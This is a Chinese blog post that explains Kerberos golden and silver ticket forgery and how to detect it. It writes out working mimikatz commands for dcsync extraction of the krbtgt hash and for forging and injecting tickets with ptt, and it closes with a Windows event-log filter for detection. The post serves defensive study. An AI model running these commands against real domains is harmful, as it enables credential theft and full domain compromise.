Mimikatz-黄金/白银票据攻击检测

type

Post

status

Published

date

Dec 12, 2022

slug

summary

黄金票据

何为黄金票据

黄金票据（Golden Tickets）是伪造的Ticket-Granting Tickets (TGT)，也称为身份验证票据。

先来看看Kerbreos通信的过程：

例：当正常用户申请票据并访问域控时

密码转换为 NTLM 哈希，并作为身份验证票证 TGT 请求（AS-REQ）中的身份验证器发送到 DC

TGT 被加密、签名并返回给用户（AS-REP）

用户在请求票证授予服务 TGS 票证（TGS-REQ）时向 DC 出示 TGT。DC 打开 TGT 并验证 PAC 校验和 – 如果 DC 校验票据无误，则 TGT = 有效

DC将 TGS 使用目标服务账户的 NTLM 密码哈希加密并发送给用户（TGS-REP）

用户在连接相应资源服务器并提供 TGS（AP-REQ）。该服务器将使用其 NTLM 密码哈希解密打开 TGS 票证

相应资源服务器得以验证成功。

利用黄金票据通信的过程：

从图中可以看到，利用黄金票据去请求相应资源服务的时候，不需要经过 DC 分发相应的 TGT票据（省去了AS-REQ 和 AS-REP步骤）

黄金票据攻击

黄金票据是域中合法的 TGT 票据，因为它是由域账户 krbtgt 加密签名生成（krbtgt：每个域控制器都有一个krbtgt账户，是DC的服务账户，用来创建票据授予服务TGS加密的密钥）

所以我们需要得到 krbtgt 账户的NTLM hash，伪造新的 TGT 赋予任意用户上，绕过 DC 对用户验证而分发 TGT 的过程，从而实现获取域控权限

攻击场景：当我们拿到域内主机权限，登录域内普通用户，接下来通过mimikatz中的kerberos::ptt功能将golden.kirbi导入内存中


mimikatz "kerberos::purge"  //清空以前的票据,为了能明显看到黄金票据攻击成效，先排除其他票据影响
mimikatz "kerberos::list"  //列出票据为空证明已经清空
whoami /all    //获取域sid  S-1-5-21-3509941119-2378129212-3207187888-xxxx
mimikatz "lsadump::dcsync  /domain:com.test /user:krbtgt"    //获取krbtgt 的 NTLM Hash
mimikatz "kerberos::golden /admin:test /domain:com.test /sid:S-1-5-21-3509941119-2378129212-3207187888 /krbtgt:36f23b1d9995ebb4b9312494b64b823b /ptt"    //生成票据并直接注入内存

可以选择任意用户实现TGT的伪造

发现

制造黄金票据并注入内存的动作，系统并未记录到可疑的日志记录。所以角度转向受访机器，通过黄金票据访问受访机器产生的日志记录，唯有跟踪EventID=4624的日志

从日志中可以看到：

1、LogonType为3，即为网络登录类型

2、LogonProcessName登录进程和AuthenticationPackageName身份验证包为Kerberos，即Kerberos身份验证

3、ImpersonationLevel为%%1840，即模拟等级为委派。这点则与大多数Kerberos访问请求%%1833即模拟日志不同

白银票据

何为白银票据

白银票据是伪造TGS的票据，也叫服务票据

如下图所示，没有 AS-REQ / AS-REP（步骤 1 和 2）和 TGS-REQ / TGS-REP（步骤 3 和 4）与域控制器的通信。由于 Silver Ticket 是伪造的 TGS，因此无法与域控制器进行通信。

Kerberos银票服务主体名称。是有效的票证授予服务 (TGS) Kerberos 票证，因为它由服务帐户加密/签名，该服务帐户为运行 Kerberos 身份验证服务的每个服务器配置了

票据区别

黄金票据是伪造的TGT，可有效访问任何Kerberos服务，而白银票据是伪造的TGS。这意味着白银票据的范围仅限于针对特定服务器的任何服务

金票是使用域Kerberos服务帐户(KRBTGT)加密/签名的，而银票是通过服务帐户(从计算机的本地SAM中提取的计算机帐户凭据或服务帐户凭据)加密/签名的

大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证)，因此使用服务帐户密码哈希生成的有效TGS可以包含完全虚构的PAC

对于白银票据攻击，攻击者需要服务帐户密码哈希

TGS是伪造的，没有关联的TGT，这意味永远不会与DC通信

在我看来，白银票据可能比黄金票据更危险，虽然范围比黄金票据更有限，但所需的哈希更容易获得，并且在使用时没有与DC通信，因此检测比黄金票据更难

白银票据攻击

先获取服务账号的NTLM，带$符的为服务账号


kerberos::purge //清空以前的票据
kerberos::list //列出票据为空证明已经清空
whoami /all   //获取域sid  S-1-5-21-3509941119-2378129212-3207187888-xxxx
//生成白银票据并直接注入内存
mimikatz “kerberos::golden /domain:com.test /sid:S-1-5-21-3509941119-2378129212-3207187888 /target:DC.com.test /service:cifs /rc4:56359daff33efccc79cb83db415e1cb3 /user:administrator /ptt"

发现

制造白银票据并注入内存的动作，系统并未记录到可疑的日志记录。同样将角度转向受访机器，通过白银票据访问受访机器产生的日志记录，跟踪EventID=4624的日志

从日志中可以看到：

1、LogonType为3，即为网络登录类型

2、LogonProcessName登录进程为NtLmSsp

3、AuthenticationPackageName身份验证包为NTLM，即NTLM系列身份验证

3、LmPackageName协议名称为NTLM V2

如果读者顺手做一次wmic远程代码执行的试验，会发现这点跟使用wmic连接登录的日志是一样的

检测

以下检测以黄金票据举例：

一、日志检测：

上面已经讲过了！！所以windows eventlog筛选语句建议如下：


<QueryList><Query Id='0' Path='Security'><Select Path='Security'>*[System[(EventID=4624)]] and *[EventData[Data[@Name='LogonType']='3' and Data[@Name='AuthenticationPackageName']='Kerberos' and Data[@Name='LogonProcessName']='Kerberos' and Data[@Name='ImpersonationLevel']='%%1840']]</Select></Query></QueryList>

筛选出来后，可进一步根据TargetUserName去做筛查